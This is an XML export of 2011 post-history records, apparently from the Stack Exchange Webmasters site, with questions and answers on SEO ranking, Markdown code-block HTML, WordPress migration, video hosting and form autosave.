  <row Id="43990" PostHistoryTypeId="2" PostId="18147" RevisionGUID="68bf8706-fbee-4f5a-a3df-5d9fdc6aadad" CreationDate="2011-08-12T20:03:15.207" UserId="9495" Text="From my observations: &#xD;&#xA;&#xD;&#xA;If I am correct, The content makes the title of a particular page stronger, and in turn the all titles together makes the category stronger, and then the categories makes the domain name stronger to rank higher on the keywords in the particular page, where the content is there.&#xD;&#xA;&#xD;&#xA;Please share, is this one of the 200 factors of google seo?" />
  <row Id="43991" PostHistoryTypeId="1" PostId="18147" RevisionGUID="68bf8706-fbee-4f5a-a3df-5d9fdc6aadad" CreationDate="2011-08-12T20:03:15.207" UserId="9495" Text="Is his one of the 200 factors of google seo? Support it? Edit it or replace it with your thoughts" />
  <row Id="43992" PostHistoryTypeId="3" PostId="18147" RevisionGUID="68bf8706-fbee-4f5a-a3df-5d9fdc6aadad" CreationDate="2011-08-12T20:03:15.207" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;&lt;google-panda-algorithm&gt;" />
  <row Id="43993" PostHistoryTypeId="2" PostId="18148" RevisionGUID="b920b768-6d4f-43d7-8d60-90c2098adb1b" CreationDate="2011-08-12T20:08:47.723" UserId="9534" Text="I'm having a problem as mentioned in the title heading. I had posted it here:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/q/7045493/851045&#xD;&#xA;&#xD;&#xA;... but I was wondering if any of the webmasters here can help me on this? Tx." />
  <row Id="43994" PostHistoryTypeId="1" PostId="18148" RevisionGUID="b920b768-6d4f-43d7-8d60-90c2098adb1b" CreationDate="2011-08-12T20:08:47.723" UserId="9534" Text="XAMPP Upgrade - Error #1045 on Creating New User" />
  <row Id="43995" PostHistoryTypeId="3" PostId="18148" RevisionGUID="b920b768-6d4f-43d7-8d60-90c2098adb1b" CreationDate="2011-08-12T20:08:47.723" UserId="9534" Text="&lt;mysql&gt;&lt;users&gt;&lt;xampp&gt;" />
  <row Id="43996" PostHistoryTypeId="2" PostId="18149" RevisionGUID="0997881c-52a9-427f-a79e-0fbe646a6bc2" CreationDate="2011-08-12T20:25:16.847" UserId="1253" Text="The content of the page doesn't affect the weight given to a page's title. It just affects the weight given to the page as a whole. Content is one ranking factor, the page's title is another separate factor. Combined they help determine the relativity of page for a given search term.&#xD;&#xA;&#xD;&#xA;Each page is judged on its own merits (domain wide penalties are not part of the ranking algorithm. They are part of the anti-spam algorithm. Matt Cutts heads that team at Google). This means there is no direct correlation between one page's rankings and another's. &#xD;&#xA;&#xD;&#xA;*However*, because links have value, one page can &quot;boost&quot; another page's rankings by linking to it. PageRank, anchor text, the relativity of the linking page, and more all can help the receiving page increase in rankings. How much it helps depends on the above factors as well as the competition for the search phrases being targeted.&#xD;&#xA;&#xD;&#xA;When done properly, a well built website can create a hierarchy of content that emphasizes its main pages (categories). Typically such a design looks like a pyramid when laid out on paper. So, depending on the competition, the quality of content, and website structure, a website can achieve a relatively good ranking through internal SEO alone (more for less competitive phrases then actual competitive ones).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43997" PostHistoryTypeId="5" PostId="18147" RevisionGUID="d8646d6d-2801-4d0d-8c45-2460b1386d5b" CreationDate="2011-08-12T20:28:41.480" UserId="1253" Comment="modified tags, minor text edits" Text="If I am correct, The content makes the title of a particular page stronger, and in turn the all titles together makes the category stronger, and then the categories makes the domain name stronger to rank higher on the keywords in the particular page, where the content is there.&#xD;&#xA;&#xD;&#xA;Is this one of the 200 factors of google seo?" />
  <row Id="43998" PostHistoryTypeId="4" PostId="18147" RevisionGUID="d8646d6d-2801-4d0d-8c45-2460b1386d5b" CreationDate="2011-08-12T20:28:41.480" UserId="1253" Comment="modified tags, minor text edits" Text="Is this one of the 200 factors of google seo? " />
  <row Id="43999" PostHistoryTypeId="6" PostId="18147" RevisionGUID="d8646d6d-2801-4d0d-8c45-2460b1386d5b" CreationDate="2011-08-12T20:28:41.480" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="44000" PostHistoryTypeId="5" PostId="18149" RevisionGUID="6d8c984d-9da6-452d-b335-05103dd959fa" CreationDate="2011-08-12T20:30:49.423" UserId="1253" Comment="added 134 characters in body" Text="The content of the page doesn't affect the weight given to a page's title. It just affects the weight given to the page as a whole. Content is one ranking factor, the page's title is another separate factor. Combined they help determine the relativity of page for a given search term. &#xD;&#xA;&#xD;&#xA;Each page is judged on its own merits (domain wide penalties are not part of the ranking algorithm. They are part of the anti-spam algorithm. Matt Cutts heads that team at Google). This means there is no direct correlation between one page's rankings and another's. In other words, just because one page on the site ranks well for a phrase it doesn't mean another page on the same site will as well.&#xD;&#xA;&#xD;&#xA;*However*, because links have value, one page can &quot;boost&quot; another page's rankings by linking to it. PageRank, anchor text, the relativity of the linking page, and more all can help the receiving page increase in rankings. How much it helps depends on the above factors as well as the competition for the search phrases being targeted.&#xD;&#xA;&#xD;&#xA;When done properly, a well built website can create a hierarchy of content that emphasizes its main pages (categories). Typically such a design looks like a pyramid when laid out on paper. So, depending on the competition, the quality of content, and website structure, a website can achieve a relatively good ranking through internal SEO alone (more for less competitive phrases then actual competitive ones).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44001" PostHistoryTypeId="10" PostId="18148" RevisionGUID="a8e694ea-3133-4bcd-bbe1-e529d08c5f0e" CreationDate="2011-08-12T20:31:26.303" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44002" PostHistoryTypeId="25" PostId="18119" RevisionGUID="ad99427b-8403-4112-8a52-894b4d35d23a" CreationDate="2011-08-12T20:34:22.783" Comment="http://twitter.com/#!/StackWebmasters/status/102115735014346754" />
  <row Id="44003" PostHistoryTypeId="2" PostId="18150" RevisionGUID="27ebbeb6-118e-45f6-b30e-64e587a09eba" CreationDate="2011-08-12T21:18:48.887" UserId="9558" Text="Markdown creates output like this:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;see this example:&lt;/p&gt;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;code&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Is this correct or should it be:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;see this example&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;code&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;&#xD;&#xA;To me the second one seems correct, since the paragraph and the code example are one unit. What are your thoughts about this?" />
  <row Id="44004" PostHistoryTypeId="1" PostId="18150" RevisionGUID="27ebbeb6-118e-45f6-b30e-64e587a09eba" CreationDate="2011-08-12T21:18:48.887" UserId="9558" Text="html: Should &lt;code&gt; be placed within a paragraph?" />
  <row Id="44005" PostHistoryTypeId="3" PostId="18150" RevisionGUID="27ebbeb6-118e-45f6-b30e-64e587a09eba" CreationDate="2011-08-12T21:18:48.887" UserId="9558" Text="&lt;html&gt;" />
  <row Id="44006" PostHistoryTypeId="5" PostId="18150" RevisionGUID="15832e24-b6d4-4816-9e47-a87041942fd7" CreationDate="2011-08-12T21:29:13.333" UserId="9558" Comment="added 137 characters in body" Text="Markdown creates output like this:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;see this example:&lt;/p&gt;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;code&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Is this correct or should it be:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;see this example&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;code&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;&#xD;&#xA;To me the second one seems correct, since the paragraph and the code example are one unit. What are your thoughts about this?&#xD;&#xA;&#xD;&#xA;edit: actually I could argue the same about a list (eg &quot;order any of the following:&quot;) but a list can't be placed withing a paragraph." />
  <row Id="44007" PostHistoryTypeId="25" PostId="18111" RevisionGUID="fb0aaeb5-76b3-40a0-8b28-e79e39f7c963" CreationDate="2011-08-12T22:34:24.470" Comment="http://twitter.com/#!/StackWebmasters/status/102145939300556800" />
  <row Id="44009" PostHistoryTypeId="2" PostId="18152" RevisionGUID="9c58ee4e-95dc-4c5b-b40d-a0a40dbfff69" CreationDate="2011-08-12T23:18:28.813" UserId="1253" Text="[According to the w3c][1] `&lt;code&gt;` is an inline element so it can be placed inside a `&lt;p&gt;` element.&#xD;&#xA;&#xD;&#xA;FYI, your `&lt;pre&gt;` tag is redundant. Not only do most user-agents display content as if it was wrapped in a `&lt;pre&gt;` (e.g. no word wrap and monospace type) but you should be using CSS to control the presentation of `&lt;code&gt;` elements anyway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/struct/text.html#h-9.2.1" />
  <row Id="44011" PostHistoryTypeId="25" PostId="17186" RevisionGUID="d86be95f-6bb1-417b-bf4b-88e7d0661d3c" CreationDate="2011-08-13T00:34:25.573" Comment="http://twitter.com/#!/StackWebmasters/status/102176143393816576" />
  <row Id="44012" PostHistoryTypeId="25" PostId="16446" RevisionGUID="b59d46d2-8918-47aa-97d2-54358695c16a" CreationDate="2011-08-13T02:34:25.707" Comment="http://twitter.com/#!/StackWebmasters/status/102206343393456128" />
  <row Id="44013" PostHistoryTypeId="25" PostId="18150" RevisionGUID="d1173410-6da4-4732-b683-8e29f206be4c" CreationDate="2011-08-13T04:34:25.853" Comment="http://twitter.com/#!/StackWebmasters/status/102236543623774208" />
  <row Id="44014" PostHistoryTypeId="2" PostId="18153" RevisionGUID="13c4e8b2-e1a0-40e8-98f8-3b831863d2ce" CreationDate="2011-08-13T04:39:56.467" UserId="4502" Text="As John said, `code` is an in-line element, and can be placed in paragraphs. (Not necessarily *should*; there are plenty of other places it's also allowed.) Either your title or examples above are wrong, so I'll cover both possible cases, stealing from Gruber's docs.&#xD;&#xA;&#xD;&#xA;To produce a &lt;a href=&quot;http://daringfireball.net/projects/markdown/syntax#precode&quot;&gt;code *block*&lt;/a&gt; requires `pre`, which is a block element and isn't allowed inside a `p` tag.  &#xD;&#xA;Use the following Markdown:&#xD;&#xA;&#xD;&#xA;    This is a normal paragraph:&#xD;&#xA;    &#xD;&#xA;        This is a code block.&#xD;&#xA;&#xD;&#xA;...which will output:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;This is a normal paragraph:&lt;/p&gt;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;This is a code block.&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;as you showed above.  &#xD;&#xA;Markdown is correct in doing this. (But as I said in my comment above, I'm unclear whether this is what you're actually *trying to do*.)&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&amp;nbsp;  &#xD;&#xA;&#xD;&#xA;To produce an &lt;a href=&quot;http://daringfireball.net/projects/markdown/syntax#code&quot;&gt;in-line code element&lt;/a&gt;, you should be using the following Markdown:&#xD;&#xA;&#xD;&#xA;    Use the `printf()` function.&#xD;&#xA;&#xD;&#xA;...which will output:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;Use the &lt;code&gt;printf()&lt;/code&gt; function.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44015" PostHistoryTypeId="25" PostId="18090" RevisionGUID="38943db8-b188-4026-9c9b-605e2db9ced0" CreationDate="2011-08-13T06:34:26.313" Comment="http://twitter.com/#!/StackWebmasters/status/102266745116573696" />
  <row Id="44016" PostHistoryTypeId="2" PostId="18154" RevisionGUID="ef80d6ad-9879-48b2-a463-4f8e316d60bd" CreationDate="2011-08-13T07:25:14.140" UserId="7375" Text="I'm trying to create a simple abstract color model, which will use RGB color space as the internal representation.&#xD;&#xA;&#xD;&#xA;I know there will be certainly a little loss when converting CMYK to RGB, but I don't know how much and how smooth it will be. As for human perception, there needs more bits for blue but less bits for green, different color systems may emphasize on different color subset. &#xD;&#xA;&#xD;&#xA;So, could it be a bad idea to use RGB as the internal representation? or how many bits could it be safe for conversion between various color systems? Currently I'm using 16-bit short integers for each color component." />
  <row Id="44017" PostHistoryTypeId="1" PostId="18154" RevisionGUID="ef80d6ad-9879-48b2-a463-4f8e316d60bd" CreationDate="2011-08-13T07:25:14.140" UserId="7375" Text="Does RGB color space covers CMYK/HSB color space?" />
  <row Id="44018" PostHistoryTypeId="3" PostId="18154" RevisionGUID="ef80d6ad-9879-48b2-a463-4f8e316d60bd" CreationDate="2011-08-13T07:25:14.140" UserId="7375" Text="&lt;colour-depth&gt;" />
  <row Id="44019" PostHistoryTypeId="2" PostId="18155" RevisionGUID="5f367dab-76c8-46db-8f41-c7f521eed980" CreationDate="2011-08-13T08:07:15.740" UserId="6113" Text="I would approach this in the following manner:&#xD;&#xA;&#xD;&#xA;1. Download an export file from your Wordpress.com blog. Make sure to tick the option about downloading attachments as well.&#xD;&#xA;&#xD;&#xA;1. &quot;Move&quot; your domain to Media Temple. The question here is where you bought your domain. If on Wordpress.com, then I have no idea if they offer a way to change DNS settings but they should. If not, you will surely have access to some sort an admin tool to do it. What you need to do is to change DNS servers to Media Temple's (ns1.mediatemple.net and ns2.mediatemple.net). Then you need to log in to your Media Temple account and &quot;add&quot; this domain so that its zone file is created and tied with your MT hosting.&#xD;&#xA;&#xD;&#xA;1. Install Worpdress on Media Temple under your domain. You can do it either by hand (using FTP and manually creating the database) or automatically, using MT's installer. Your choice. The result is the same, meaning a clean Worpdress install.&#xD;&#xA;&#xD;&#xA;1. Use import option in your new, MT-hosted Wordpress to recover your posts, pages, links, attachments e.t.c.&#xD;&#xA;&#xD;&#xA;You should be good to go." />
  <row Id="44020" PostHistoryTypeId="25" PostId="17040" RevisionGUID="eadd5374-a0a3-4264-80eb-47daaa748434" CreationDate="2011-08-13T08:34:27.020" Comment="http://twitter.com/#!/StackWebmasters/status/102296944843554816" />
  <row Id="44021" PostHistoryTypeId="5" PostId="18153" RevisionGUID="9dd4ccd3-6de5-4458-b6b6-960581d61200" CreationDate="2011-08-13T08:38:44.860" UserId="4502" Comment="added 60 characters in body" Text="As John said, `code` is an in-line element, and can be placed in paragraphs. (Not necessarily *should*; there are plenty of other places it's also allowed.) Either your title or examples above are wrong, so I'll cover both possible cases, stealing from Gruber's docs.&#xD;&#xA;&#xD;&#xA;To produce a &lt;a href=&quot;http://daringfireball.net/projects/markdown/syntax#precode&quot;&gt;code *block*&lt;/a&gt; requires `pre`, which is a block element and isn't allowed inside a `p` tag.  &#xD;&#xA;Use the following Markdown:&#xD;&#xA;&#xD;&#xA;    This is a normal paragraph:&#xD;&#xA;    &#xD;&#xA;        This is a code block.&#xD;&#xA;&#xD;&#xA;...which will output:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;This is a normal paragraph:&lt;/p&gt;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;This is a code block.&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;as you showed above.  &#xD;&#xA;Markdown is correct in doing this; the paragraph and code are related, but they're not a unit. (But as I said in my comment above, I'm unclear whether this is what you're actually *trying to do*.)&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&amp;nbsp;  &#xD;&#xA;&#xD;&#xA;To produce an &lt;a href=&quot;http://daringfireball.net/projects/markdown/syntax#code&quot;&gt;in-line code element&lt;/a&gt;, you should be using the following Markdown:&#xD;&#xA;&#xD;&#xA;    Use the `printf()` function.&#xD;&#xA;&#xD;&#xA;...which will output:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;Use the &lt;code&gt;printf()&lt;/code&gt; function.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44022" PostHistoryTypeId="2" PostId="18156" RevisionGUID="53e88d14-166c-42c7-bc5c-e6f8f2548564" CreationDate="2011-08-13T08:40:06.170" UserId="6113" Text="1. The codec you choose should not be a problem at all regarding web streaming, just use whatever format suits you for storing backup, high-quality copies of your videos. When you upload them to services like Youtube or Vimeo, they are converted to a format that is compatible with most browsers anyway.&#xD;&#xA;&#xD;&#xA;1. You should definitely use a third party service if you do not want to deal with transfer limits or things like Content Delivery Networks to be sure that your videos are always available.&#xD;&#xA;&#xD;&#xA;1. Vimeo does offer a &quot;Pro&quot; option, which includes commercial video hosting: [http://vimeo.com/pro][1]. I have not used it but it seems fine, especially for less than 200 dollars a year.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vimeo.com/pro" />
  <row Id="44023" PostHistoryTypeId="17" PostId="18157" RevisionGUID="3af5eb7e-5c37-4792-a425-75b46063af74" CreationDate="2011-08-13T09:57:09.387" UserId="-1" Comment="from http://stackoverflow.com/questions/7049578/best-seo-keywords-monitoring-service" Text="" />
  <row Id="44024" PostHistoryTypeId="2" PostId="18157" RevisionGUID="3875416b-8a25-40cd-b0da-80b0e9e43a13" CreationDate="2011-08-13T09:22:01.743" UserId="9562" UserDisplayName="Niko Nik" Text="is there a good monitoring service for international sites. I have sites in many countires and I would like to get some monitoring service to track the visibility in google for all the domains and the most visited keywords and so on. I have found some, but most of them are handling only 3-4 markets, but I need to set a monitoring for each of my sites in many countires. Does anyone use such service?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Nik" />
  <row Id="44025" PostHistoryTypeId="1" PostId="18157" RevisionGUID="3875416b-8a25-40cd-b0da-80b0e9e43a13" CreationDate="2011-08-13T09:22:01.743" UserId="9562" UserDisplayName="Niko Nik" Text="Best SEO/Keywords Monitoring service" />
  <row Id="44026" PostHistoryTypeId="3" PostId="18157" RevisionGUID="3875416b-8a25-40cd-b0da-80b0e9e43a13" CreationDate="2011-08-13T09:22:01.743" UserId="9562" UserDisplayName="Niko Nik" Text="&lt;seo&gt;&lt;monitoring&gt;" />
  <row Id="44027" PostHistoryTypeId="2" PostId="18158" RevisionGUID="088a9831-d8b9-4a52-b2ac-09e3a1d7b68a" CreationDate="2011-08-13T10:17:11.340" UserId="7198" Text="[Stacey](http://staceyapp.com/) is a static content management system powered by files and folders alone (no backend, no database). It requires PHP 5+." />
  <row Id="44028" PostHistoryTypeId="5" PostId="18158" RevisionGUID="83bb08fc-1c43-4795-b7c6-25cd0e83cfbf" CreationDate="2011-08-13T10:23:30.190" UserId="7198" Comment="added 153 characters in body" Text="[Stacey](http://staceyapp.com/) is a static content management system powered by files and folders alone (no backend, no database). It requires PHP 5+. (Designed to run on a server, but could be used on a Windows box.)&#xD;&#xA;&#xD;&#xA;[Jekyll](http://jekyllrb.com/) is a static CMS for Ruby that also runs on Windows." />
  <row Id="44029" PostHistoryTypeId="25" PostId="16830" RevisionGUID="ddded2d9-a164-4bec-a32a-9c9a8a504688" CreationDate="2011-08-13T10:34:26.950" Comment="http://twitter.com/#!/StackWebmasters/status/102327144029499392" />
  <row Id="44030" PostHistoryTypeId="2" PostId="18159" RevisionGUID="98352a6a-a011-4107-b937-2dcf16a1c724" CreationDate="2011-08-13T10:43:45.837" UserId="7198" Text="&gt; What is the best format to save these videos in?&#xD;&#xA;&#xD;&#xA;YouTube and Vimeo both currently recommend **H264 (MPEG-4 AVC) video compression** and AAC audio at 24, 25, or 30fps. You can find compression how-tos from [YouTube](http://www.google.com/support/youtube/bin/answer.py?answer=165543) and from [Vimeo](http://vimeo.com/help/compression).&#xD;&#xA;&#xD;&#xA;If you are planning to serve the video yourself (instead of from a third-party service such as YouTube), you will likely have to compress and serve multiple versions of the same video in different formats, depending on what codecs the visitor's browser supports. Mark Pilgrim's ['Video on the Web'](http://diveintohtml5.org/video.html) tutorial goes into much more detail, and reading it will probably encourage you to use a third-party video hosting service who will handle the technicalities for you.&#xD;&#xA;&#xD;&#xA;My advice with Web video is almost always to use a third-party video hosting service so that you don't have to reinvent the wheel, and so that you can spend time producing content instead of working out how to serve it.&#xD;&#xA;&#xD;&#xA;(You say your other questions were answered in my comment above, but let me know if you need any more information.)" />
  <row Id="44031" PostHistoryTypeId="2" PostId="18160" RevisionGUID="caba01b2-4339-4e66-b5b9-c0d9789ea695" CreationDate="2011-08-13T10:51:23.803" UserId="7371" Text="In Google Webmaster Tools -&gt; Diagnostics -&gt; Crawl Stats, there is a chart **Time spent downloading a page (in milliseconds)**.&#xD;&#xA;&#xD;&#xA;What is that chart measuring?&#xD;&#xA;&#xD;&#xA;Is it the time to fetch the HTML text only, or does it include the time to fetch other files included in the head section of the HTML text, or maybe it's the overall time to load the whole page including embedded widgets and ads?&#xD;&#xA;&#xD;&#xA;I can't find any clues in the Google Help." />
  <row Id="44032" PostHistoryTypeId="1" PostId="18160" RevisionGUID="caba01b2-4339-4e66-b5b9-c0d9789ea695" CreationDate="2011-08-13T10:51:23.803" UserId="7371" Text="Google Webmaster tools &quot;Time spent downloading a page&quot;" />
  <row Id="44033" PostHistoryTypeId="3" PostId="18160" RevisionGUID="caba01b2-4339-4e66-b5b9-c0d9789ea695" CreationDate="2011-08-13T10:51:23.803" UserId="7371" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="44037" PostHistoryTypeId="2" PostId="18162" RevisionGUID="74dc31f6-32c7-407a-ae52-acb23415f063" CreationDate="2011-08-13T11:27:48.023" UserId="1064" Text="[Google Webmaster Tools][1] provides a great deal of data on keywords. If you haven't tried it recently, take another look - it's free and it covers the requirements you listed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="44038" PostHistoryTypeId="2" PostId="18163" RevisionGUID="e2a5154d-27c2-4516-bf58-6940f2fafd66" CreationDate="2011-08-13T11:31:50.017" UserId="9562" Text="Hi is there some database with official information about medical centers, schools, POI's and they'r geo coordinates for all countries in the world? It coul'd be not for free too, but I need the GEO coordinates as well, because I need to connect them to my products!&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Nik" />
  <row Id="44039" PostHistoryTypeId="1" PostId="18163" RevisionGUID="e2a5154d-27c2-4516-bf58-6940f2fafd66" CreationDate="2011-08-13T11:31:50.017" UserId="9562" Text="Need database with some country specific data like schools, medical centers etc" />
  <row Id="44040" PostHistoryTypeId="3" PostId="18163" RevisionGUID="e2a5154d-27c2-4516-bf58-6940f2fafd66" CreationDate="2011-08-13T11:31:50.017" UserId="9562" Text="&lt;information-retrieval&gt;" />
  <row Id="44041" PostHistoryTypeId="2" PostId="18164" RevisionGUID="987db882-6dfa-4fb6-82d8-493a0aa4ae46" CreationDate="2011-08-13T11:40:57.187" UserId="9495" Text="How does this stackexchange form saved the work, I mean keep an auto save function, to retrieve loss of work, in case the user's browser crashes." />
  <row Id="44042" PostHistoryTypeId="1" PostId="18164" RevisionGUID="987db882-6dfa-4fb6-82d8-493a0aa4ae46" CreationDate="2011-08-13T11:40:57.187" UserId="9495" Text="How does this stackexchange form saved the work, I mean keep an auto save function, to retrieve loss of work" />
  <row Id="44043" PostHistoryTypeId="3" PostId="18164" RevisionGUID="987db882-6dfa-4fb6-82d8-493a0aa4ae46" CreationDate="2011-08-13T11:40:57.187" UserId="9495" Text="&lt;javascript&gt;&lt;browsers&gt;&lt;cookie&gt;&lt;page&gt;&lt;browser-detecting&gt;" />
  <row Id="44044" PostHistoryTypeId="2" PostId="18165" RevisionGUID="b08af2cd-0044-4ae8-b1e2-5d571cbe6e19" CreationDate="2011-08-13T11:46:36.600" UserId="693" Text="I do not know if this really answers your question, but it is sure worth checking out. I have never used it, but I know people that use it for projects.&#xD;&#xA;&#xD;&#xA;http://www.google.com/publicdata&#xD;&#xA;&#xD;&#xA;You can explore data from a lot of countries, and all the data is nicely displayed. I think there also has to be an api so you can connect it to your application." />
  <row Id="44045" PostHistoryTypeId="2" PostId="18166" RevisionGUID="abcbfa21-3e02-4350-8e4f-d0abca969064" CreationDate="2011-08-13T11:48:58.093" UserId="9495" Text="What are the things to keep in mind for a junior web designer/web developer to choose his first company to work?&#xD;&#xA;&#xD;&#xA;For me, the choosen first company a fresher in web design/web development is more crucial for his career, as he want to learn, earn and secure his career." />
  <row Id="44046" PostHistoryTypeId="1" PostId="18166" RevisionGUID="abcbfa21-3e02-4350-8e4f-d0abca969064" CreationDate="2011-08-13T11:48:58.093" UserId="9495" Text="What are the things to keep in mind for a junior web designer/web developer to choose his first company to work?" />
  <row Id="44047" PostHistoryTypeId="3" PostId="18166" RevisionGUID="abcbfa21-3e02-4350-8e4f-d0abca969064" CreationDate="2011-08-13T11:48:58.093" UserId="9495" Text="&lt;website-design&gt;" />
  <row Id="44048" PostHistoryTypeId="2" PostId="18167" RevisionGUID="5d8acf2f-41e7-4f7c-84c9-d22442a7b6e7" CreationDate="2011-08-13T11:49:00.580" UserId="693" Text="I do not really know how they do it exactly, but I know a method of how it can be done. HTML5 has this option build in. It is done by local storage.&#xD;&#xA;&#xD;&#xA;Check out this link: http://diveintohtml5.org/storage.html&#xD;&#xA;&#xD;&#xA;But maybe there are other methods, maybe by javascript which could be compatible with more browsers." />
  <row Id="44051" PostHistoryTypeId="2" PostId="18168" RevisionGUID="de034cd7-107c-4f42-8982-3b16f9431300" CreationDate="2011-08-13T11:55:52.800" UserId="8957" Text="I know that most forms that 'save drafts' in case the browser crashes or the user leaves the site use ajax to store data on the server. If you write something on blogger, or write an email in gmail the form autosaves what you write every minute. Now if anything happens to your browser or connection you have a draft saved that you can continue editing before publishing or sending." />
  <row Id="44052" PostHistoryTypeId="2" PostId="18169" RevisionGUID="08f17255-c1cc-4bd8-ad2e-d1e10cbf37b8" CreationDate="2011-08-13T12:01:58.327" UserId="8957" Text="It all depends.&#xD;&#xA;&#xD;&#xA;If you just want to use the first job as something that helps you get another job I suppose it matters most how well known and reputable the company is.&#xD;&#xA;If you want to work there for an unspecified amount of time working conditions are key. I couldn't imagine working for a company that gives me a 5 year old computer with a CRT monitor and a crappy chair. Then obviously there is quite a number of things that are good/bad for working conditions that you can't know before you start working there, like coworkers, hierarchy, how the boss(es) treat you, etc. etc.&#xD;&#xA;&#xD;&#xA;In all jobs you will likely end up learning a lot if you want to learn. There are all kinds of skills you will develop while working on projects, there are things you can learn on your own that aren't required for the project but possibly nice to have. In short work experience is key to learning in the beginning, no matter where." />
  <row Id="44054" PostHistoryTypeId="5" PostId="18166" RevisionGUID="99526755-aa41-4952-bbee-2f22c4f6ea57" CreationDate="2011-08-13T12:10:40.430" UserId="9495" Comment="content" Text="What are the things to keep in mind for a junior web designer/web developer to choose his first company to work?&#xD;&#xA;&#xD;&#xA;For me, the choosen first company a fresher in web design/web development is more crucial for his career, as he want to learn, earn and secure his career.&#xD;&#xA;&#xD;&#xA;If you can answer this QUESTION with respect to software /application they are using, a reputed company/a local company. I want to learn from my first company and intend to jump to a company where, I can plan my next big step in my career?" />
  <row Id="44055" PostHistoryTypeId="2" PostId="18170" RevisionGUID="81c3b35e-56b6-4754-a27b-9053de48b87b" CreationDate="2011-08-13T12:11:46.167" UserId="9495" Text="![from google][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/OJ2n4.png&#xD;&#xA;&#xD;&#xA;I want to know when I typed - cheapest mobile phone in india. I get this website title inside the red box first (The title is not relevant to my typed phrase), whereas which is relevant, inside the blue box is positioned below." />
  <row Id="44056" PostHistoryTypeId="1" PostId="18170" RevisionGUID="81c3b35e-56b6-4754-a27b-9053de48b87b" CreationDate="2011-08-13T12:11:46.167" UserId="9495" Text="google search result : webpage ranking order" />
  <row Id="44057" PostHistoryTypeId="3" PostId="18170" RevisionGUID="81c3b35e-56b6-4754-a27b-9053de48b87b" CreationDate="2011-08-13T12:11:46.167" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;pagerank&gt;&lt;seo-friendly&gt;" />
  <row Id="44059" PostHistoryTypeId="25" PostId="18138" RevisionGUID="a323f98a-a676-4766-a28a-7d38226f317f" CreationDate="2011-08-13T14:34:26.560" Comment="http://twitter.com/#!/StackWebmasters/status/102387541726076929" />
  <row Id="44062" PostHistoryTypeId="5" PostId="18150" RevisionGUID="16ce3d69-ce63-4e02-8ec8-b94179b96105" CreationDate="2011-08-13T16:30:29.910" UserId="9558" Comment="clarification" Text="Markdown creates output like this:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;see this example:&lt;/p&gt;&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;code&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Is this correct or should it be:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;see this example&#xD;&#xA;    &lt;pre&gt;&lt;code&gt;code&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;&#xD;&#xA;To me the second one seems correct, since the paragraph and the code example are one unit. What are your thoughts about this?&#xD;&#xA;&#xD;&#xA;edit: actually I could argue the same about a list (eg &quot;order any of the following:&quot;) but a list can't be placed withing a paragraph.&#xD;&#xA;&#xD;&#xA;edit2: to clarify, technically both are correct, as a table based layout is technically possible. But what would you argue is the way that best expresses the intention of the tags given a paragraph like this? Or maybe it doesn't matter? Note that the pre element isn't very relevant here (but included because markdown outputs it too)." />
  <row Id="44063" PostHistoryTypeId="25" PostId="18164" RevisionGUID="f40718ab-71cb-440e-89df-a69da0eaeb52" CreationDate="2011-08-13T16:34:26.683" Comment="http://twitter.com/#!/StackWebmasters/status/102417740484194304" />
  <row Id="44064" PostHistoryTypeId="17" PostId="18171" RevisionGUID="5d24c780-a03a-4f4a-82db-d181029a24cb" CreationDate="2011-08-13T16:42:44.017" UserId="-1" Comment="from http://stackoverflow.com/questions/7051535/google-plusone-replaced-all-my-meta-description-tags-every-web-page-now-has-the" Text="" />
